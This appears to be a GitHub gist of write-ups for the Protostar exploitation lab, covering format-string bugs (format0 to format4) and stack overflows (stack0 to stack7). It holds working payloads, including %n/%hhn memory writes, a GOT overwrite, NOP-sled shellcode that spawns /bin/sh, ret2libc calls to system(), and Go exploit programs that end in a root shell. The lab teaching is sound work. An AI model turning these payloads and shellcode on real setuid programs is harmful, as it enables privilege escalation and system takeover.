Skip to content

Instantly share code, notes, and snippets.

@tehmoon
Last active March 30, 2018 16:56
Show Gist options
  • Save tehmoon/63729359f0a6a45712691f1b06d8971b to your computer and use it in GitHub Desktop.
Save tehmoon/63729359f0a6a45712691f1b06d8971b to your computer and use it in GitHub Desktop.
protostar exploits write ups

Format0 introduces format string vulnerabilities.

The vuln relies on the fact that user input is not sanitized and can be used as format string fed into the printf family.

In this example sprintf() is used. It takes at least 2 arguments, the destination's string and the source's string. The idea is to do a classic buffer overflow and write 0xdeadbeef to target.

Here's the following exploit:

$ ./format0 $(python -c 'print "%64i\xef\xbe\xad\xde"')
you have hit the target correctly :)

As you can see we write 64 times an int then we place our deadbeef value.

This challenge introduces the %n modifier to write to the global variable target.

First we find the adress of target.

With objdump -t we have a list of all the symbols in the binary. We can use it to locate the address of target. Global variables are located in the bss section.

user@protostar:/opt/protostar/bin$ objdump -t format1 | grep target
08049638 g     O .bss   00000004              target

One we have the address of target, the goal is to write anything to that address -- except of course only 0s. The idea is to write the address of target repeatively in a environment variable so we can have printf write to the next argument with %n. Indeed the %n modifer will write the number of character it wrote in the address located in the next argument. In short:

printf("AAAA%s", 0xdeadbeef) // will write 4 at the 0xdeadbeef address
printf("AAAA%2$s", 0xdeadbeef, 0xf00f00) // will write 4 at the 0xf00f00 address

The only issue is, we don't really know where we are in the stack when printf is called.

To overcome this problem we first inject a bunch of A's in the environment and we call %x a hundred times. The %x modifier display in hex string format printf's next argument. Since we don't have any other argument, printf will try to print what it believes is the next argument in the stack. Good thing for us, it will print all the stack until we get a segfault. Meaning we have reached the end.

In the command below we can see that we find our pattern.

user@protostar:/opt/protostar/bin$ env -i PWN=$(python -c 'print "A"*4096') sh
./format1 $(python -c 'print "%x-"*1000')

The last step is kind of the nop sled idea: since we wrote a ton of target address, no need to be especially precise, we can just shoot in the middle.

user@protostar:/opt/protostar/bin$ env -i PWN=$(python -c 'print "\x38\x96\x04\x08"*1024+ "AA"') sh
$ ./format1 $(python -c 'print "1%1000$n"')
1you have modified the target :)

This challenge is exactly the same as format1 except it reads on stdin.

Once we get the address of target with objdump -t we simply go ahead:

user@protostar:/opt/protostar/bin$ env -i PWN=$(python -c 'print "\xe4\x96\x04\x08"*1024+ "AA"') sh
$ python -c 'print "%64c%1000$n"' | ./format2

you have modified the target :)

The main difference is we have to write 64 characters then get to our target address.

The goal of this challenge is to overwrite the target variable to a big number: 0x01025544.

format2 exploited the %n printf's argument to write the number of characters written by printf to data pointed by the nth argument.

So %64c%n would write 64 bytes to the next address in the stack.

We cannot do the same approach because we would have to write 0x01025544 bytes -- or 16930116 bytes -- in order write the desired value to data stored by the pointer. I mean we could wait x amount of time to get those byte written but the goal of the exercice is to carefuly craft any value.

So we're going to look at from another angle. We know that %n writes the number of printed characters to the value pointed by the next argument's value. But what is the format of the value? It in an int:

n

The number of characters written so far is stored into the integer indicated by the int * (or variant) pointer argument. No argument is converted.

So on our i686 linux it writes 4 bytes in little-endian.

What if we could write less then 4 bytes but to another location? That is right!

So if 0x00000001 is an int, it means that if you read the variable, you are actually reading:

  • 0x00000001
  • 0x00000002
  • 0x00000003
  • 0x00000004

The goal in this case would be to write stuff to the byte directly, we could trick the program when it interprets the 4 bytes as an int.

Ok so we have a plan. We could use the length modifier to write 2 bytes at time -- eventually we could go even lower but I didn't choose this way.

First we apply the same technique as format2 to thing the address of target in the .bss section:

user@protostar:/opt/protostar/bin$ objdump -t format3  | grep target
080496f4 g     O .bss   00000004              target

Then we calculate the 2 addresses needed:

  • 0x080496f4
  • 0x080496f6

We know that the value of target must be 0x01025544 so:

  • 0x0201 as to be written to 0x080496f6
  • 0x4455 as to be written to 0x080496f4

We are going to start writing the number 0x0102 which is 258 and represented in memory as 0x0201 to the address 0x080496f6, then the second operation is to write the number 0x5544 which is 21828 and represented in memory as 0x4455 to the address 0x080496f4.

In order to write a short int we preprend h to %n like this %hn -- or $2%hn.

Remember that we would have already written 258 characters, so we actually need to write only 21570 characters to the second address.

Preparation:

We are going to bootstrap the attack by writing 256 times \xf6\x96\x04\x08 followed by 256 times \xf4\x96\x04\x08 in the environment. AA is used for padding. The goal is to end up in both address sequentially.

Demo:

user@protostar:/opt/protostar/bin$ env -i PWN=$(python -c 'print "\xf6\x96\x04\x08"*256 + "\xf4\x96\x04\x08"*256 + "AA"') sh
$ echo '%258c%400$hn%21570c%656$hn' | ./format3$
you have modified the target :)

Sum up:

Instead of writing 16930116 bytes we only wrote 22086 bytes! We could have gone even lower with signed char.

This challenge looks at how to redirect program execution from shared libraries' functions.

In this case we can't:

  • change rip because exit() is called before
  • buffer overflow because fgets()

But we see a exit() function. This function doesn't come from the source code, so it does from the libc.

Doing a file on the file gives:

format4: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped

ldd gives:

        linux-gate.so.1 =>  (0xb7fe4000)
        libc.so.6 => /lib/libc.so.6 (0xb7e99000)
        /lib/ld-linux.so.2 (0xb7fe5000)

So we have a little bit more information about the binary.

Ok let's get started.

The dynamic linking process is handled by some magic from the linker: ld. When gcc compiles with shared libraries, it doesn't really know what the address of those functions are. So it assignes them in the .plt section.

The .plt section is then mounted in the data segment.

Whenever a shared function is called, its address points to the .plt which then will call some generic call from the linker. The linker then patches the right function from the shared library to some offset in the .got section. Finally the linker will replace all that computation with the direct call from .got.plt to .got for next time it is called.

Now that we know more, the goal seems a little bit clearer: let's replace the address in the .got.plt section with another function so everytime exit() is called, it will indirect jump to our address.

The instructions says to use objdump -TR, so let's try that:

format4:     file format elf32-i386

DYNAMIC SYMBOL TABLE:
00000000      DF *UND*  00000000  GLIBC_2.0   exit


DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049724 R_386_JUMP_SLOT   exit

As you can see, there is a symbol for exit from GLIBC_2.0. The address of exit is 0x08049724 which is indeed in the .got.plt section as readelf -S shows us:

[23] .got.plt          PROGBITS        08049700 000700 000028 04  WA  0   0  4

One more thing to do before getting our hands dirty: finding the address of hello:

$ objdump -t format4 | grep hello
080484b4 g     F .text  0000001e              hello

Ok now I think we've got everything we want:

Write 0x080484b4 to 0x08049724. Easy right?

Looking back at format3, I've used the %hn modifier to write a short int and wrote twice: once at the address and the other at the address + 2. I've also used the help of the env to have %n get the destination's address.

Here we are going to use a different technique:

  • Use the printf string to inject addresses
  • Use %hhn to write only 1 byte

If we are going to write only 1 byte we need 4 addresses:

  • 0x08049724: 0xb4: 180
  • 0x08049725: 0x84: 132
  • 0x08049726: 0x04: 4
  • 0x08049727: 0x08: 8

Let's apply the same core idea of format3 but changing tricks: we'll know write the target address directly to printf(). So let's say we do that:

python -c 'print "AAAA-" + "%08x-"*15' | ./format4
AAAA-00000200-b7fd8420-bffff624-41414141-78383025-3830252d-30252d78-252d7838-2d783830-78383025-3830252d-30252d78-252d7838-2d783830-78383025-

As you can see, our AAAA are located 24 bytes -- 3*8 -- after the arguments of printf(). So the trick here is to write the address first and then jump to it. Remember that all modifier except %n pop an argument from the stack. Here %x will advance the pointer to 8 byte each time.

Ok so let's start by writing the first byte to our target address. I started choosing bytes by numeric order but then I quickly realized that it didn't matter, we will see later why.

Let's start by writing the value 4 to 0x08049726:

python -c 'print "\x26\x97\x04\x08%4$hhn"' | ./format4

That's cool because our address is 4 bytes so it is the right number. Onto the next byte: value 8 to 0x08049727.

We know that we already wrote 4 bytes, our new address is again 4 bytes, so that's going to be 8 bytes written! Perfect! HOLD ON: we also know that we have to respect padding: the payload we inject is 10 bytes long, so our address will be cut in 2. We need to write the address at the 12th byte. So we need to write to extra junk bytes AA will do. But wait, now we would have written 10 bytes so the value 10 will be written to the address, it's more than 8!

That's when I realized that the order didn't really matter. Remember we are writing an unsigned char so between 0x00 and 0xff. What happen we try to write 256 to the target address? Well it works like a clock: it's mod 12. Meaning that 13 is also 1. So 0x100 will be 0x00!

Here's the formula:

(targetByte + 0x100) - (byteWritten)

Applying it to our use case:

>>> (8+0x100) - (4+2+4)
254

We now know that we have to write an extra 254 bytes:

python -c 'print "\x26\x97\x04\x08%4$hhnAA\x27\x97\x04\x08%254c%7$hhnA"' | ./format4

Onto the next byte. Same thing, padding to place the address, padding to update the value:

>>> (132+0x100) - (4 + 2 + 4 + 254 + 4 + 1)
119
python -c 'print "\x26\x97\x04\x08%4$hhnAA\x27\x97\x04\x08%254c%7$hhnA\x25\x97\x04\x08%119c%11$hhn"' | ./format4

Finally:

>>> (0xb4+0x100) - (4 + 2 + 4 + 254 + 4 + 1 + 119 + 4)
44
user@protostar:/opt/protostar/bin$ python -c 'print "\x26\x97\x04\x08%4$hhnAA\x27\x97\x04\x08%254c%7$hhnA\x25\x97\x04\x08%119c%11$hhn\x24\x97\x04\x08%44c%15$hhn"' | ./format4
AA                                                                               A                                                                $
code execution redirected! you win

Bingo!

I've seen people not using the $ to target special argument, which you have to play with poping arguments instead of targeting arguments, next time will definitevely try.

modified it at:

0x080483fd <main+9>: mov DWORD PTR [esp+0x5c],0x0

which is 0xbffff7bc.

buffer is at:

0x08048405 <main+17>: lea eax,[esp+0x1c] which is 0xbffff77c

esp+0x1c is pushed to the stack and gets() is called. The goal is to write to exp+0x5c which is esp + 64 bytes. We write 64 characters + 0x01.

gets() stores 64 + 1 from the addr stored in esp it then overflowed and wrote something in an argument that wasn't passed to it.

The goal is to set the variable modified to 0x61626364.

We are going to use the variable buffer that is strcpy from argv[1].

We've located that modified it at $esp+0x5c:

0x80484a7 <main+67>:    mov    eax,DWORD PTR [esp+0x5c]
0x80484ab <main+71>:    cmp    eax,0x61626364

Since buffer is right before, we need to copy 64 + 4 to overflow buffer and change modified.

We might be tempted to write this: python -c 'print "A"*64 + chr(0x61) + chr(0x62) + chr(0x63) + chr(0x64)' but that would be an error. Let's look at this:

ebp            0xbffff768       0xbffff768
esp            0xbffff700       0xbffff700
0xbffff700:     0xbffff71c      0xbffff959      0xb7fff8f8      0xb7f0186e
0xbffff710:     0xb7fd7ff4      0xb7ec6165      0xbffff728      0x41414141
0xbffff720:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff730:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff740:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff750:     0x41414141      0x41414141      0x41414141      0x64636261
0x80484a7 <main+67>:    mov    eax,DWORD PTR [esp+0x5c]
0x80484ab <main+71>:    cmp    eax,0x61626364
0x80484b0 <main+76>:    jne    0x80484c0 <main+92>

Temporary breakpoint 5, main (argc=2, argv=0xbffff814) at stack1/stack1.c:18
18      in stack1/stack1.c

We can see that

 x /wx $esp+0x5c
0xbffff75c:     0x64636261

is in reverse!

That's because of endianess. Since the VM is in little-endian, we need to reverse the bytes we write.

(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba
Starting program: /opt/protostar/bin/stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba
ebp            0xbffff768       0xbffff768
esp            0xbffff700       0xbffff700
0xbffff700:     0xbffff71c      0xbffff959      0xb7fff8f8      0xb7f0186e
0xbffff710:     0xb7fd7ff4      0xb7ec6165      0xbffff728      0x41414141
0xbffff720:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff730:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff740:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff750:     0x41414141      0x41414141      0x41414141      0x61626364
0x80484a7 <main+67>:    mov    eax,DWORD PTR [esp+0x5c]
0x80484ab <main+71>:    cmp    eax,0x61626364
0x80484b0 <main+76>:    jne    0x80484c0 <main+92>

Temporary breakpoint 6, main (argc=2, argv=0xbffff814) at stack1/stack1.c:18
18      in stack1/stack1.c

OK we are good now.

(gdb) c
Continuing.
you have correctly got the variable to the right value

Here we go!

It's the same thing as the other ones except we change the env vars:

GREENIE=$'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x0a\x0d\x0a\x0d' ./stack2

Same as the other ones except it's a pointer to a function. So basically we locate the address of win which in gdb is: p /x *win then:

python -c 'print "A"*64+"\x24\x84\x04\x08"' | ./stack3

Again, same idea that the previous one. But the goal here is to change the return pointer of the current function main.

Here's before:

ebp            0xbffff7c8       0xbffff7c8
esp            0xbffff770       0xbffff770
0xbffff770:     0xbffff780      0xb7ec6165      0xbffff788      0xb7eada75
0xbffff780:     0xb7fd7ff4      0x080495ec      0xbffff798      0x080482e8
0xbffff790:     0xb7ff1040      0x080495ec      0xbffff7c8      0x08048449
0xbffff7a0:     0xb7fd8304      0xb7fd7ff4      0x08048430      0xbffff7c8
0xbffff7b0:     0xb7ec6365      0xb7ff1040      0x0804843b      0xb7fd7ff4
0xbffff7c0:     0x08048430      0x00000000      0xbffff848      0xb7eadc76
0x8048418 <main+16>:    call   0x804830c <gets@plt>
0x804841d <main+21>:    leave
0x804841e <main+22>:    ret
0x08048418      15      in stack4/stack4.c

ebp is at 0xbffff7c8 marking the end of the stack. The return pointer is usually at $ebp + 4 -- I will tell why after. In this case 0xb7eadc76

Let go to after gets to see what's the status of the return pointer:

ebp            0xbffff7c8       0xbffff7c8
esp            0xbffff770       0xbffff770
0xbffff770:     0xbffff780      0xb7ec6165      0xbffff788      0xb7eada75
0xbffff780:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff790:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff7a0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff7b0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff7c0:     0x41414141      0x41414141      0x41414141      0x080483f4
0x804841d <main+21>:    leave
0x804841e <main+22>:    ret

As you can see $ebp+4 is 0x080483f4. The next 2 instructions are going to be crucial to jump back to another function.

First we have leave.

Leave will move $ebp to $esp moving the stack pointer to 0xbffff7c8 thus shrinking the stack. Then Leave will pop $ebp and set $ebp to the poped value. This will move $esp to $esp+4 then the old stack is restored:

ebp            0x41414141       0x41414141
esp            0xbffff7cc       0xbffff7cc
0xbffff7cc:     0x080483f4      0x00000000      0xbffff874      0xbffff87c
0xbffff7dc:     0xb7fe1848      0xbffff830      0xffffffff      0xb7ffeff4
0xbffff7ec:     0x0804824b      0x00000001      0xbffff830      0xb7ff0626
0xbffff7fc:     0xb7fffab0      0xb7fe1b28      0xb7fd7ff4      0x00000000
0xbffff80c:     0x00000000      0xbffff848      0x70ec2697      0x5abbf087
0xbffff81c:     0x00000000      0x00000000      0x00000000      0x00000001
0x804841e <main+22>:    ret

$esp+4 now will be used by ret to jump to the return address.

And voilaaaa

import sys
import struct

SHELLCODE = "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

NOP="\x90"

def exploit1():
  ## Run:
  ## Write the output to file somewhere
  ## $> env -i ./stack5 < <file>
  sys.stdout.write(struct.pack("I", 0xbffffdf0 + 94 + 50) * 24)
  sys.stdout.write(NOP * 100)
  sys.stdout.write(SHELLCODE)

def exploit2():
  ## Run:
  ## Write the output to file somewhere
  ## $> env -i PWN=$(python -c 'import sys;sys.stdout.write("\x90"*100)'; echo -en "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80") ./stack5 < <file>
  sys.stdout.write(struct.pack("I", 0xbfffff8d +25)*20)

I'll be describing both exploits.

Exploit1

This exploit write 24 times our RIP to buffer. Overflowing buffer of 32 bytes to ensure that RIP is set to the value we inject. As per the stack4 challenge, when leave is called, ret will jump to the address located in the next 4 bytes. This is our RIP.

We also inject more than 24 times our RIP, we also inject a bunch of NOP -- in this case 100 bytes -- followed by our shell code.

Our RIP points to what we guess is the middle of those NOP instructions. Here 96 corresponds to 24 * 4, which is target RIP and 50 which is len(nop) / 2.

You can guess the following, once we reach a NOP we go down the sled to our shell code.

Exploit2

This exploit takes advantage of the environment variables. We use the same technique as exploit1 but we jump into the env variable instead.

This method is a little more reliable because we don't really have to guess the address of target RIP, since we control argv and environ.

To get the address of environ in gdb: p /x *environ. Then the start of you shellcode will be at <address *environ> + some other variables and you can aim in the middle of the nops to make sure you reach the sled.

The stack6 challenge introduces ret2libc expoit where the goal is to jump to a function in the dynamically linked libc.

We can see it is dynamically linked because:

ldd /opt/protostar/bin/stack6
        linux-gate.so.1 =>  (0xb7fe4000)
        libc.so.6 => /lib/libc.so.6 (0xb7e99000)
        /lib/ld-linux.so.2 (0xb7fe5000)

We also get the information that it starts at offset 0xb7fe5000. The easiest thing to use for this challenge is the system() function from the libc. If we look at the signature, system() only takes one argument: int system(const char *command); A pointer to a string.

The plan: make rip point to the adress of system() then user arg1 located at rip + 4 as a pointer to a shell.

The next step is for us to have a way to write /bin/sh somewhere. We have two ways of doing this:

  • use the environment variables like in stack5
  • look in the binary if there is not a /bin/sh string already declared and then use this address

The main takeaway here is that a function usually gets its arguments from the stack -- I think syscalls don't, they just use registers. So the idea is to overwrite rip with a function's call then, start to overwrite the following bytes with the arguments needed for the call. Remember that arguments start 4 bytes after rip -- on a 32 bits system of course.

Method 2 is kind of more reliable, but some times we don't already have the string directly in the binary.

I'll be describing all the 2 exploits starting with the /bin/sh in the binary.

exploit1

The goal is to find the string /bin/sh somewhere in the binary.

We know that libc is dynamically loaded so we start looking there:

  • Look with objdump where .rodata is:
 objdump -h /lib/libc.so.6 | grep .rodata
 14 .rodata       0001bff0  0010b520  0010b520  0010b520  2**5
  • Then find the offset with readelf:
readelf -p  .rodata /lib/libc.so.6  | grep /bin/sh
[ 13e9f]  /bin/sh
  • Finally open gdb to see where the memory layout:
(gdb) b *main
(gdb) r
(gdb) info proc map

        Start Addr   End Addr       Size     Offset objfile
        0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
(gdb) x /s 0xb7e97000 + 0x0010b520 + 0x13e9f
0xb7fb63bf:      "/bin/sh"
  • We now have an address we can use for the first argument

We run our exploit simply like that:

$> ./exploit6
( /tmp/eploit6 ; cat) | /opt/protostar/bin/stack6
$> ./exploit6 | /opt/protostar/bin/stack6

Expoit2

This is exactly the same kind of exploit as exploit1 but instead of using a string from the libc's binary, we use the environment variables that we control. Remember the enviroment variables are around the beginning of the stack. We can verify this in gdb:

(gdb) info proc map
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
        0xbffeb000 0xc0000000    0x15000          0           [stack]
	
(gdb) x *environ
0xbffff9b9:      "USER=user"
(gdb) p /x 0xc0000000 - 0xbffff9b9
$2 = 0x647

I think before that you might have the process' argument, but it doesn't matter much. It shouldn't really change as long as we are consitent.

So the goal like I've mentioned is to write /bin/sh to an environment variable and have rip + 4 point to it. But as we learned in stack5, the environment is kind of not really stable. We need some kind of a nop sled to be able to guess and shot right in the middle of the sled.

Good new / are like a sled for us! /////////////////bin/sh is equivalent as /bin/sh. In the exploit we write 400 / then aim at the address where we think environ starts and add 200. We could go bigger than that though.

The exploit can be run like the first one:

$> ./exploit6
( /tmp/eploit6 ; cat) | /opt/protostar/bin/stack6
$> ./exploit6 | /opt/protostar/bin/stack6
package main

import (
  "encoding/binary"
  "syscall"
  "fmt"
  "os"
  "os/exec"
  "strings"
  "bytes"
  "strconv"
)

const (
  EBP_LEN = 4
  RIP_LEN = 4
  BUFF_LEN = 64
  frameSize = EBP_LEN + RIP_LEN + BUFF_LEN + 12
)

func strToAddr(addr string, offset int32) ([]byte) {
  decoded, err := strconv.ParseUint(addr, 16, 32)
  if err != nil {
  	panic(err)
  }

  buf := make([]byte, 4)
  binary.LittleEndian.PutUint32(buf, uint32(int32(decoded) + offset))

  return buf
}

func main() {
  env := envExploit2()
  if os.Getenv("PWN") == "" {
  	os.Exit(envAndFork(fmt.Sprintf("PWN=%s", env)))
  }

  exploit2()
}

func exploit1() {
  system := strToAddr("b7ecffb0", 0)
  junk := strToAddr("b7ec60c0", 0)
  binsh := strToAddr("b7fb63bf", 0)

  payload := bytes.Repeat(system, frameSize / 4)
  payload = append(payload, junk...)
  payload = append(payload, binsh...)

  fmt.Println(string(payload[:]))
}

func exploit2() {
  system := strToAddr("b7ecffb0", 0)
  junk := strToAddr("b7ec60c0", 0)
  env := strToAddr("bfffff0d", 200)

  payload := bytes.Repeat(system, frameSize / 4)
  payload = append(payload, junk...)
  payload = append(payload, env...)

  fmt.Println(string(payload[:]))
}

func envExploit2() (string){
return strings.Repeat("/", 400) + "bin/sh"
}

func getDefaultShell() (string){
  shell := os.Getenv("SHELL")
  if shell == "" {
  	shell = "/bin/sh"
  }

  return shell
}

func getReturnCodeFromErr(err error) (int) {
  if err, ok := err.(*exec.ExitError); ok {
  	sys := err.Sys()
  	if sys, ok := sys.(syscall.WaitStatus); ok {
  		return sys.ExitStatus()
  	}
  }

  return 0
}

func envAndFork(env string) (int) {
  shell := "/bin/sh"

  cmd := exec.Command(shell)
  cmd.Env = []string{env,}
  cmd.Dir = "/"

  cmd.Stdin = os.Stdin
  cmd.Stdout = os.Stdout
  cmd.Stderr = os.Stderr

  err := cmd.Start()
  if err != nil {
  	return getReturnCodeFromErr(err)
  }

  fmt.Printf("( %s ; cat) | %s\n", os.Args[0], "/opt/protostar/bin/stack6")

  err = cmd.Wait()
  if err != nil {
  	return getReturnCodeFromErr(err)
  }

  return 0
}

This challenge introduce the concept of heap.

The heap is a place where allocated memory goes.

The code is similar to stack6 to the expection it is forbidden to return to return to anywhere that starts with: 0xb0000000. That includes almost everything except the heap. Luckily for us, the strdup's man page tells us that is copies a string to a malloc() which is in the heap. We can see that be doing after setting breakpoint to getpath+127:

(gdb) info proc map
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000          0        /opt/protostar/bin/stack7
         0x8049000  0x804a000     0x1000          0        /opt/protostar/bin/stack7
         0x804a000  0x806b000    0x21000          0           [heap]
        0xb7e96000 0xb7e97000     0x1000          0
        0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
        0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
        0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
        0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
        0xb7fd9000 0xb7fdc000     0x3000          0
        0xb7fde000 0xb7fe2000     0x4000          0
        0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
        0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
        0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
        0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
        0xbffeb000 0xc0000000    0x15000          0           [stack]

The attack will be to execute a shellcode. Since we know that buffer will be copied to the heap, we need to carefully inject code. It will be of the following form:

|___fill out buffer up to EBP__||__ Fake EBP __||__RIP__||__NOP Sled __||__Shellcode__|
               64 + 12                 4            4         64              39

rip will point to the start of the heap + 4 bytes for the empty chunk + 4 bytes for the chunk size + len(nop sled) / 2.

Bellow is the exploit running:

user@protostar:~$ ~/exploit71
( /home/user/exploit7-1 ; cat) | /opt/protostar/bin/stack7
$ ( /home/user/exploit7 ; cat) | /opt/protostar/bin/stack7
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA11۰̀Sh/ttyh/dev'̀1Ph//shh/binSᙰ
                                        ̀
# whoami
root

Bellow is the code:

package main

import (
	"strings"
	"encoding/binary"
	"syscall"
	"fmt"
	"os"
	"os/exec"
	"strconv"
)

const (
	EBP_LEN = 4
	RIP_LEN = 4
	BUFF_LEN = 64
	frameSize = EBP_LEN + RIP_LEN + BUFF_LEN + 8
	shellcode = "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
)

func strToAddr(addr string, offset int32) ([]byte) {
	decoded, err := strconv.ParseUint(addr, 16, 32)
	if err != nil {
		panic(err)
	}

	buf := make([]byte, 4)
	binary.LittleEndian.PutUint32(buf, uint32(int32(decoded) + offset))

	return buf
}

func main() {
	if os.Getenv("PWN") == "" {
		os.Exit(envAndFork(fmt.Sprintf("PWN=%s", "true")))
	}

	exploit2()
}

func exploit2() {
	rip := strToAddr("0804a000", frameSize + 4 + 4 + 32)
	ebp := strToAddr("b7ec60c0", 0)

	payload := []byte(strings.Repeat("A", frameSize - 4))
	payload = append(payload, ebp...)
	payload = append(payload, rip...)
	payload = append(payload, []byte(strings.Repeat("\x90", 64))...)
	payload = append(payload, []byte(shellcode)...)

	fmt.Println(string(payload[:]))
}

func getDefaultShell() (string){
	shell := os.Getenv("SHELL")
	if shell == "" {
		shell = "/bin/sh"
	}

	return shell
}

func getReturnCodeFromErr(err error) (int) {
	if err, ok := err.(*exec.ExitError); ok {
		sys := err.Sys()
		if sys, ok := sys.(syscall.WaitStatus); ok {
			return sys.ExitStatus()
		}
	}

	return 0
}

func envAndFork(env string) (int) {
	shell := "/bin/sh"

	cmd := exec.Command(shell)
	cmd.Env = []string{env,}
	cmd.Dir = "/"

	cmd.Stdin = os.Stdin
	cmd.Stdout = os.Stdout
	cmd.Stderr = os.Stderr

	err := cmd.Start()
	if err != nil {
		return getReturnCodeFromErr(err)
	}

	fmt.Printf("( %s ; cat) | %s\n", os.Args[0], "/opt/protostar/bin/stack7")

	err = cmd.Wait()
	if err != nil {
		return getReturnCodeFromErr(err)
	}

	return 0
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment